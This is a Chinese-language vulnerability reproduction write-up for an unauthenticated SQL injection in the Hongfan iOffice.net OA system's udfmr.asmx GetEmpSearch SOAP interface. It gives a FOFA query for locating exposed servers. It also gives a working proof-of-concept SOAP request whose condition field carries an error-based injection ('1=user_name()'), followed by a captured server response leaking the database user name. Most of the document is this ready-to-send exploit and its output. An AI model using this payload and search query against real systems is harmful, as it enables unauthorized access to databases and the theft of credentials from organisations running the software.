

H3-6红帆-OA-SQL

漏洞描述：

红帆iOffice.net udfmr.asmx接口处存在[SQL注入漏洞](#)，未经身份认证的攻击者可通过该漏洞获取数据库敏感信息及凭证，最终可能导致服务器失陷。

网站图片：



网络测绘：

fofa语法：

FOFA: app="红帆-ioffice"

漏洞复现：

payload:

`http://your-ip/iOffice/prg/set/wss/udfmr.asmx?op=GetEmpSearch`

效果图：

udfmr

单击[此处](#)，获取完整的操作列表。

GetEmpSearch

测试

测试窗体只能用于来自本地计算机的请求。

SOAP 1.1

以下是 SOAP 1.2 请求和响应示例。所显示的占位符需替换为实际值。

```
POST /iOffice/prg/set/wss/udfmr.asmx HTTP/1.1
Host: 
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://tempuri.org/iOffice/udfmr/GetEmpSearch"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetEmpSearch xmlns="http://tempuri.org/iOffice/udfmr">
      <condition>string</condition>
    </GetEmpSearch>
  </soap:Body>
</soap:Envelope>

HTTP/1.1 200 OK
Content-Type: text/xml; charset=utf-8
Content-Length: length

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetEmpSearchResponse xmlns="http://tempuri.org/iOffice/udfmr">
      <GetEmpSearchResult>xmlxml</GetEmpSearchResult>
    </GetEmpSearchResponse>
  </soap:Body>
</soap:Envelope>
```

SOAP 1.2

以下是 SOAP 1.2 请求和响应示例。所显示的占位符需替换为实际值。

```
POST /iOffice/prg/set/wss/udfmr.asmx HTTP/1.1
Host: 
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/iOffice/udfmr/GetEmpSearch"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetEmpSearch xmlns="http://tempuri.org/iOffice/udfmr">
      <condition>1=user_name()</condition>
    </GetEmpSearch>
  </soap:Body>
</soap:Envelope>
```

出现以上这种情况则可能存在漏洞
PoC

```
POST /iOffice/prg/set/wss/udfmr.asmx HTTP/1.1
Host: your-ip
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/iOffice/udfmr/GetEmpSearch"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetEmpSearch xmlns="http://tempuri.org/iOffice/udfmr">
      <condition>1=user_name()</condition>
    </GetEmpSearch>
  </soap:Body>
</soap:Envelope>
```

查询当前数据库用户

Request

< > 数据扫描 热加载 构造请求

1 POST /iOffice/prg/set/wss/udfmr.asmx HTTP/1.1

2 Host: 0

3 Content-Type: text/xml; charset=utf-8

4 SOAPAction: "http://tempuri.org/iOffice/udfmr/GetEmpSearch"

5

6 <?xml version="1.0" encoding="utf-8"?>

7 <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">

8 <soap:Body>

9 <GetEmpSearch xmlns="http://tempuri.org/iOffice/udfmr">

10 <condition>1=user_name()</condition>

11 </GetEmpSearch>

12 </soap:Body>

13 </soap:Envelope>

Responses 2426bytes / 54ms

1 HTTP/1.1 500 Internal Server Error

2 Cache-Control: private

3 Content-Type: text/xml; charset=utf-8

4 Server: Microsoft-IIS/7.5

5 X-AspNet-Version: 2.0.50727

6 X-Powered-By: ASP.NET

7 X-UA-Compatible: IE=EmulateIE7

8 Date: Fri, 18 Aug 2023 09:32:27 GMT

9 Content-Length: 2426

10

11 <?xml version="1.0" encoding="utf-8"?>

12 <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">

13 <soap:Body><soap:Fault><faultcode>System.Data.SqlClient.SqlException: 在将 nvarchar 值 'dbo' 转换

14 </soap:Body></soap:Envelope>